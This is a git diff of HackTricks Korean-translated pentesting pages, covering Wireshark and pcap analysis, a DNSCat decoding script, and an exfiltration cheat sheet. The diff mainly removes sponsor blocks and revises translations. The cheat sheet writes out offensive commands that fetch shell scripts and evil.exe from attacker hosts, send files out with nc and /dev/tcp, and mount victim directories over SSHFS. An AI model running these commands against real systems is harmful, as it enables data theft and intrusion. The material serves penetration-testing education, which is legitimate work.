@ -98,19 +90,13 @@ BinVis는 블랙박스 시나리오에서 **알 수 없는 대상에 익숙해
|
||||||
|
|
||||||
키 스케줄을 검색하여 AES 키를 검색합니다. TrueCrypt 및 BitLocker에서 사용하는 128, 192 및 256 비트 키를 찾을 수 있습니다.
|
키 스케줄을 검색하여 AES 키를 검색합니다. TrueCrypt 및 BitLocker에서 사용하는 128, 192 및 256 비트 키를 찾을 수 있습니다.
|
||||||
|
|
||||||
[여기](https://sourceforge.net/projects/findaes/)에서 다운로드하세요.
|
[여기서 다운로드](https://sourceforge.net/projects/findaes/).
|
||||||
|
|
||||||
## 보조 도구
|
## 보조 도구
|
||||||
|
|
||||||
[**viu**](https://github.com/atanunq/viu)를 사용하여 터미널에서 이미지를 볼 수 있습니다.\
|
[**viu**](https://github.com/atanunq/viu)를 사용하여 터미널에서 이미지를 볼 수 있습니다.\
|
||||||
리눅스 명령줄 도구 **pdftotext**를 사용하여 PDF를 텍스트로 변환하고 읽을 수 있습니다.
|
리눅스 명령줄 도구 **pdftotext**를 사용하여 PDF를 텍스트로 변환하고 읽을 수 있습니다.
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
@ -120,8 +106,8 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
||||||
<summary>HackTricks 지원하기</summary>
|
<summary>HackTricks 지원하기</summary>
|
||||||
|
|
||||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **Twitter**에서 **팔로우**하세요 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 **공유**하세요.
|
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -10,28 +10,16 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
||||||
|
|
||||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* **해킹 트릭을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하세요.**
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
#### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io)는 **다크 웹** 기반의 검색 엔진으로, 기업이나 고객이 **stealer malwares**에 의해 **침해**되었는지 확인할 수 있는 **무료** 기능을 제공합니다.
|
DNSCat에 의해 **유출된 데이터**가 포함된 pcap 파일이 있다면 (암호화를 사용하지 않고), 유출된 내용을 찾을 수 있습니다.
|
||||||
|
|
||||||
WhiteIntel의 주요 목표는 정보 탈취 악성코드로 인한 계정 탈취 및 랜섬웨어 공격에 맞서 싸우는 것입니다.
|
**첫 9 바이트**는 실제 데이터가 아니라 **C\&C 통신**과 관련이 있다는 것만 알면 됩니다:
|
||||||
|
|
||||||
그들의 웹사이트를 확인하고 **무료**로 엔진을 사용해 볼 수 있습니다:
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
DNSCat에 의해 **exfiltrated**된 데이터가 포함된 pcap이 있는 경우 (암호화를 사용하지 않고), 유출된 내용을 찾을 수 있습니다.
|
|
||||||
|
|
||||||
**첫 9 바이트**는 실제 데이터가 아니라 **C\&C 통신**과 관련이 있다는 것을 아는 것만으로 충분합니다:
|
|
||||||
```python
|
```python
|
||||||
from scapy.all import rdpcap, DNSQR, DNSRR
|
from scapy.all import rdpcap, DNSQR, DNSRR
|
||||||
import struct
|
import struct
|
||||||
|
|
|
@ -15,19 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io)는 **다크 웹** 기반의 검색 엔진으로, 기업이나 고객이 **stealer malwares**에 의해 **침해**되었는지 확인할 수 있는 **무료** 기능을 제공합니다.
|
|
||||||
|
|
||||||
WhiteIntel의 주요 목표는 정보 탈취 악성 소프트웨어로 인한 계정 탈취 및 랜섬웨어 공격에 맞서 싸우는 것입니다.
|
|
||||||
|
|
||||||
그들의 웹사이트를 확인하고 **무료**로 엔진을 사용해 볼 수 있습니다:
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## Improve your Wireshark skills
|
## Improve your Wireshark skills
|
||||||
|
|
||||||
|
@ -44,19 +31,19 @@ WhiteIntel의 주요 목표는 정보 탈취 악성 소프트웨어로 인한
|
||||||
|
|
||||||
**Expert Information**
|
**Expert Information**
|
||||||
|
|
||||||
_**Analyze** --> **Expert Information**_을 클릭하면 분석된 패킷에서 발생하는 일에 대한 **개요**를 볼 수 있습니다:
|
_**Analyze** --> **Expert Information**_을 클릭하면 패킷 **분석**에서 발생하는 일에 대한 **개요**를 볼 수 있습니다:
|
||||||
|
|
||||||
![](<../../../.gitbook/assets/image (256).png>)
|
![](<../../../.gitbook/assets/image (256).png>)
|
||||||
|
|
||||||
**Resolved Addresses**
|
**Resolved Addresses**
|
||||||
|
|
||||||
_**Statistics --> Resolved Addresses**_ 아래에서 Wireshark에 의해 "**해결**"된 여러 **정보**를 찾을 수 있습니다. 예를 들어 포트/전송 프로토콜, MAC에서 제조사 등입니다. 통신에 관련된 내용을 아는 것은 흥미롭습니다.
|
_**Statistics --> Resolved Addresses**_ 아래에서 Wireshark에 의해 "**해결된**" 여러 **정보**를 찾을 수 있습니다. 예를 들어 포트/전송 프로토콜, MAC에서 제조업체까지 등입니다. 통신에 관련된 내용을 아는 것은 흥미롭습니다.
|
||||||
|
|
||||||
![](<../../../.gitbook/assets/image (893).png>)
|
![](<../../../.gitbook/assets/image (893).png>)
|
||||||
|
|
||||||
**Protocol Hierarchy**
|
**Protocol Hierarchy**
|
||||||
|
|
||||||
_**Statistics --> Protocol Hierarchy**_ 아래에서 통신에 관련된 **프로토콜**과 그에 대한 데이터를 찾을 수 있습니다.
|
_**Statistics --> Protocol Hierarchy**_ 아래에서 통신에 **관련된** **프로토콜**과 그에 대한 데이터를 찾을 수 있습니다.
|
||||||
|
|
||||||
![](<../../../.gitbook/assets/image (586).png>)
|
![](<../../../.gitbook/assets/image (586).png>)
|
||||||
|
|
||||||
|
@ -98,11 +85,11 @@ _**Statistics --> I/O Graph**_ 아래에서 통신의 **그래프**를 찾을
|
||||||
|
|
||||||
### Search
|
### Search
|
||||||
|
|
||||||
세션의 **패킷** 내에서 **내용**을 **검색**하려면 _CTRL+f_를 누르십시오. 오른쪽 버튼을 눌러서 편집 열을 추가하여 기본 정보 바(No., Time, Source 등)에 새로운 레이어를 추가할 수 있습니다.
|
세션의 **패킷** 내에서 **내용**을 **검색**하려면 _CTRL+f_를 누르십시오. 오른쪽 버튼을 클릭한 후 열 편집을 통해 기본 정보 바(No., Time, Source 등)에 새 레이어를 추가할 수 있습니다.
|
||||||
|
|
||||||
### Free pcap labs
|
### Free pcap labs
|
||||||
|
|
||||||
**무료 챌린지로 연습하세요:** [**https://www.malware-traffic-analysis.net/**](https://www.malware-traffic-analysis.net)
|
**다음의 무료 챌린지로 연습하세요:** [**https://www.malware-traffic-analysis.net/**](https://www.malware-traffic-analysis.net)
|
||||||
|
|
||||||
## Identifying Domains
|
## Identifying Domains
|
||||||
|
|
||||||
|
@ -110,7 +97,7 @@ Host HTTP 헤더를 보여주는 열을 추가할 수 있습니다:
|
||||||
|
|
||||||
![](<../../../.gitbook/assets/image (639).png>)
|
![](<../../../.gitbook/assets/image (639).png>)
|
||||||
|
|
||||||
그리고 시작 HTTPS 연결에서 서버 이름을 추가하는 열을 추가할 수 있습니다 (**ssl.handshake.type == 1**):
|
그리고 시작 HTTPS 연결에서 서버 이름을 추가하는 열(**ssl.handshake.type == 1**)을 추가할 수 있습니다:
|
||||||
|
|
||||||
![](<../../../.gitbook/assets/image (408) (1).png>)
|
![](<../../../.gitbook/assets/image (408) (1).png>)
|
||||||
|
|
||||||
|
@ -134,7 +121,7 @@ _edit>preference>protocol>ssl>_
|
||||||
|
|
||||||
![](<../../../.gitbook/assets/image (1103).png>)
|
![](<../../../.gitbook/assets/image (1103).png>)
|
||||||
|
|
||||||
서버의 모든 데이터와 개인 키 (_IP, Port, Protocol, Key file and password_)를 추가하려면 _Edit_를 누르십시오.
|
_서버의 모든 데이터와 개인 키(_IP, Port, Protocol, Key file 및 password_)를 추가하려면 _Edit_를 누르십시오._
|
||||||
|
|
||||||
### Decrypting https traffic with symmetric session keys
|
### Decrypting https traffic with symmetric session keys
|
||||||
|
|
||||||
|
@ -146,7 +133,7 @@ Firefox와 Chrome 모두 TLS 세션 키를 기록할 수 있는 기능이 있으
|
||||||
|
|
||||||
![](<../../../.gitbook/assets/image (820).png>)
|
![](<../../../.gitbook/assets/image (820).png>)
|
||||||
|
|
||||||
Wireshark에 이를 가져오려면 _edit > preference > protocol > ssl >_로 가서 (Pre)-Master-Secret 로그 파일 이름에 가져오십시오:
|
Wireshark에 이를 가져오려면 \_edit > preference > protocol > ssl > (Pre)-Master-Secret 로그 파일 이름에 가져오십시오:
|
||||||
|
|
||||||
![](<../../../.gitbook/assets/image (989).png>)
|
![](<../../../.gitbook/assets/image (989).png>)
|
||||||
|
|
||||||
|
@ -179,29 +166,17 @@ f = open('all_bytes.data', 'w+b')
|
||||||
f.write(all_bytes)
|
f.write(all_bytes)
|
||||||
f.close()
|
f.close()
|
||||||
```
|
```
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io)는 **다크 웹** 기반의 검색 엔진으로, 기업이나 고객이 **스틸러 맬웨어**에 의해 **침해**되었는지 확인할 수 있는 **무료** 기능을 제공합니다.
|
|
||||||
|
|
||||||
WhiteIntel의 주요 목표는 정보 탈취 맬웨어로 인한 계정 탈취 및 랜섬웨어 공격에 맞서 싸우는 것입니다.
|
|
||||||
|
|
||||||
그들의 웹사이트를 확인하고 **무료**로 엔진을 사용해 볼 수 있습니다:
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>HackTricks 지원하기</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -1,40 +1,32 @@
|
||||||
# 유출
|
# Exfiltration
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>HackTricks 지원</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **해킹 트릭을 공유하려면 PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 기여하세요.**
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
## Commonly whitelisted domains to exfiltrate information
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
Check [https://lots-project.com/](https://lots-project.com/) to find commonly whitelisted domains that can be abused
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
## Copy\&Paste Base64
|
||||||
|
|
||||||
***
|
**리눅스**
|
||||||
|
|
||||||
## 정보 유출을 위해 일반적으로 화이트리스트에 등록된 도메인
|
|
||||||
|
|
||||||
[https://lots-project.com/](https://lots-project.com/)에서 남용할 수 있는 일반적으로 화이트리스트에 등록된 도메인을 찾아보세요
|
|
||||||
|
|
||||||
## Base64 복사 및 붙여넣기
|
|
||||||
|
|
||||||
**Linux**
|
|
||||||
```bash
|
```bash
|
||||||
base64 -w0 <file> #Encode file
|
base64 -w0 <file> #Encode file
|
||||||
base64 -d file #Decode file
|
base64 -d file #Decode file
|
||||||
```
|
```
|
||||||
**Windows**
|
**윈도우**
|
||||||
```
|
```
|
||||||
certutil -encode payload.dll payload.b64
|
certutil -encode payload.dll payload.b64
|
||||||
certutil -decode payload.b64 payload.dll
|
certutil -decode payload.b64 payload.dll
|
||||||
|
@ -48,7 +40,7 @@ wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm
|
||||||
curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py
|
curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py
|
||||||
fetch 10.10.14.14:8000/shell.py #FreeBSD
|
fetch 10.10.14.14:8000/shell.py #FreeBSD
|
||||||
```
|
```
|
||||||
**Windows**
|
**윈도우**
|
||||||
```bash
|
```bash
|
||||||
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64
|
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64
|
||||||
bitsadmin /transfer transfName /priority high http://example.com/examplefile.pdf C:\downloads\examplefile.pdf
|
bitsadmin /transfer transfName /priority high http://example.com/examplefile.pdf C:\downloads\examplefile.pdf
|
||||||
|
@ -66,7 +58,7 @@ Start-BitsTransfer -Source $url -Destination $output -Asynchronous
|
||||||
### 파일 업로드
|
### 파일 업로드
|
||||||
|
|
||||||
* [**SimpleHttpServerWithFileUploads**](https://gist.github.com/UniIsland/3346170)
|
* [**SimpleHttpServerWithFileUploads**](https://gist.github.com/UniIsland/3346170)
|
||||||
* [**SimpleHttpServer printing GET and POSTs (also headers)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149)
|
* [**GET 및 POST(헤더 포함) 출력하는 SimpleHttpServer**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149)
|
||||||
* Python 모듈 [uploadserver](https://pypi.org/project/uploadserver/):
|
* Python 모듈 [uploadserver](https://pypi.org/project/uploadserver/):
|
||||||
```bash
|
```bash
|
||||||
# Listen to files
|
# Listen to files
|
||||||
|
@ -171,7 +163,7 @@ kali_op2> smbserver.py -smb2support name /path/folder # Share a folder
|
||||||
#For new Win10 versions
|
#For new Win10 versions
|
||||||
impacket-smbserver -smb2support -user test -password test test `pwd`
|
impacket-smbserver -smb2support -user test -password test test `pwd`
|
||||||
```
|
```
|
||||||
또는 **samba를 사용하여** smb 공유를 만듭니다:
|
또는 **samba**를 사용하여 smb 공유를 생성합니다:
|
||||||
```bash
|
```bash
|
||||||
apt-get install samba
|
apt-get install samba
|
||||||
mkdir /tmp/smb
|
mkdir /tmp/smb
|
||||||
|
@ -202,13 +194,13 @@ scp <username>@<Attacker_IP>:<directory>/<filename>
|
||||||
```
|
```
|
||||||
## SSHFS
|
## SSHFS
|
||||||
|
|
||||||
피해자가 SSH를 가지고 있다면, 공격자는 피해자의 디렉토리를 공격자에게 마운트할 수 있습니다.
|
피해자가 SSH를 가지고 있다면, 공격자는 피해자의 디렉토리를 공격자에게 마운트할 수 있다.
|
||||||
```bash
|
```bash
|
||||||
sudo apt-get install sshfs
|
sudo apt-get install sshfs
|
||||||
sudo mkdir /mnt/sshfs
|
sudo mkdir /mnt/sshfs
|
||||||
sudo sshfs -o allow_other,default_permissions <Target username>@<Target IP address>:<Full path to folder>/ /mnt/sshfs/
|
sudo sshfs -o allow_other,default_permissions <Target username>@<Target IP address>:<Full path to folder>/ /mnt/sshfs/
|
||||||
```
|
```
|
||||||
## 네트워크 채널 (Network Channel)
|
## NC
|
||||||
```bash
|
```bash
|
||||||
nc -lvnp 4444 > new_file
|
nc -lvnp 4444 > new_file
|
||||||
nc -vn <IP> 4444 < exfil_file
|
nc -vn <IP> 4444 < exfil_file
|
||||||
|
@ -227,7 +219,7 @@ nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
|
||||||
exec 6< /dev/tcp/10.10.10.10/4444
|
exec 6< /dev/tcp/10.10.10.10/4444
|
||||||
cat <&6 > file.txt
|
cat <&6 > file.txt
|
||||||
```
|
```
|
||||||
감사 **@BinaryShadow\_**
|
thanks to **@BinaryShadow\_**
|
||||||
|
|
||||||
## **ICMP**
|
## **ICMP**
|
||||||
```bash
|
```bash
|
||||||
|
@ -249,43 +241,41 @@ sniff(iface="tun0", prn=process_packet)
|
||||||
```
|
```
|
||||||
## **SMTP**
|
## **SMTP**
|
||||||
|
|
||||||
SMTP 서버로 데이터를 보낼 수 있다면, Python을 사용하여 데이터를 받는 SMTP를 생성할 수 있습니다:
|
SMTP 서버에 데이터를 보낼 수 있다면, 파이썬을 사용하여 데이터를 수신할 SMTP를 생성할 수 있습니다:
|
||||||
```bash
|
```bash
|
||||||
sudo python -m smtpd -n -c DebuggingServer :25
|
sudo python -m smtpd -n -c DebuggingServer :25
|
||||||
```
|
```
|
||||||
## TFTP
|
## TFTP
|
||||||
|
|
||||||
기본적으로 XP 및 2003에서 (다른 시스템에서는 설치 중 명시적으로 추가해야 함)
|
기본적으로 XP와 2003에서는 (다른 버전에서는 설치 중에 명시적으로 추가해야 함)
|
||||||
|
|
||||||
Kali에서 **TFTP 서버 시작**:
|
Kali에서, **TFTP 서버 시작**:
|
||||||
```bash
|
```bash
|
||||||
#I didn't get this options working and I prefer the python option
|
#I didn't get this options working and I prefer the python option
|
||||||
mkdir /tftp
|
mkdir /tftp
|
||||||
atftpd --daemon --port 69 /tftp
|
atftpd --daemon --port 69 /tftp
|
||||||
cp /path/tp/nc.exe /tftp
|
cp /path/tp/nc.exe /tftp
|
||||||
```
|
```
|
||||||
**파이썬에서 TFTP 서버:**
|
**파이썬의 TFTP 서버:**
|
||||||
```bash
|
```bash
|
||||||
pip install ptftpd
|
pip install ptftpd
|
||||||
ptftpd -p 69 tap0 . # ptftp -p <PORT> <IFACE> <FOLDER>
|
ptftpd -p 69 tap0 . # ptftp -p <PORT> <IFACE> <FOLDER>
|
||||||
```
|
```
|
||||||
**피해자**에서 Kali 서버에 연결하십시오:
|
**희생자**에서 Kali 서버에 연결합니다:
|
||||||
```bash
|
```bash
|
||||||
tftp -i <KALI-IP> get nc.exe
|
tftp -i <KALI-IP> get nc.exe
|
||||||
```
|
```
|
||||||
## PHP
|
## PHP
|
||||||
|
|
||||||
PHP 원 라이너를 사용하여 파일을 다운로드하세요:
|
PHP 원라이너로 파일 다운로드:
|
||||||
```bash
|
```bash
|
||||||
echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php
|
echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php
|
||||||
```
|
```
|
||||||
## VBScript
|
|
||||||
|
|
||||||
## VBScript
|
## VBScript
|
||||||
```bash
|
```bash
|
||||||
Attacker> python -m SimpleHTTPServer 80
|
Attacker> python -m SimpleHTTPServer 80
|
||||||
```
|
```
|
||||||
**피해자**
|
**희생자**
|
||||||
```bash
|
```bash
|
||||||
echo strUrl = WScript.Arguments.Item(0) > wget.vbs
|
echo strUrl = WScript.Arguments.Item(0) > wget.vbs
|
||||||
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
|
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
|
||||||
|
@ -319,13 +309,13 @@ cscript wget.vbs http://10.11.0.5/evil.exe evil.exe
|
||||||
```
|
```
|
||||||
## Debug.exe
|
## Debug.exe
|
||||||
|
|
||||||
`debug.exe` 프로그램은 이진 파일을 검사하는 것뿐만 아니라 **16진수로부터 이진 파일을 다시 만들 수 있는 능력**을 가지고 있습니다. 이는 `debug.exe`가 이진 파일을 생성할 수 있다는 것을 의미합니다. 그러나 중요한 점은 debug.exe가 **크기가 64 kb까지인 파일을 조립하는 데 제한이 있다**는 것입니다.
|
`debug.exe` 프로그램은 이진 파일을 검사할 수 있을 뿐만 아니라 **16진수에서 이진 파일을 재구성할 수 있는 기능**도 가지고 있습니다. 이는 이진 파일의 16진수를 제공함으로써 `debug.exe`가 이진 파일을 생성할 수 있음을 의미합니다. 그러나 `debug.exe`는 **최대 64kb 크기의 파일을 조립하는 데 제한이 있다는 점**에 유의해야 합니다.
|
||||||
```bash
|
```bash
|
||||||
# Reduce the size
|
# Reduce the size
|
||||||
upx -9 nc.exe
|
upx -9 nc.exe
|
||||||
wine exe2bat.exe nc.exe nc.txt
|
wine exe2bat.exe nc.exe nc.txt
|
||||||
```
|
```
|
||||||
그럼 텍스트를 윈도우 셸에 복사하여 nc.exe라는 파일이 생성됩니다.
|
그런 다음 텍스트를 윈도우 셸에 복사하여 붙여넣으면 nc.exe라는 파일이 생성됩니다.
|
||||||
|
|
||||||
* [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html)
|
* [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html)
|
||||||
|
|
||||||
|
@ -333,23 +323,17 @@ wine exe2bat.exe nc.exe nc.txt
|
||||||
|
|
||||||
* [https://github.com/62726164/dns-exfil](https://github.com/62726164/dns-exfil)
|
* [https://github.com/62726164/dns-exfil](https://github.com/62726164/dns-exfil)
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
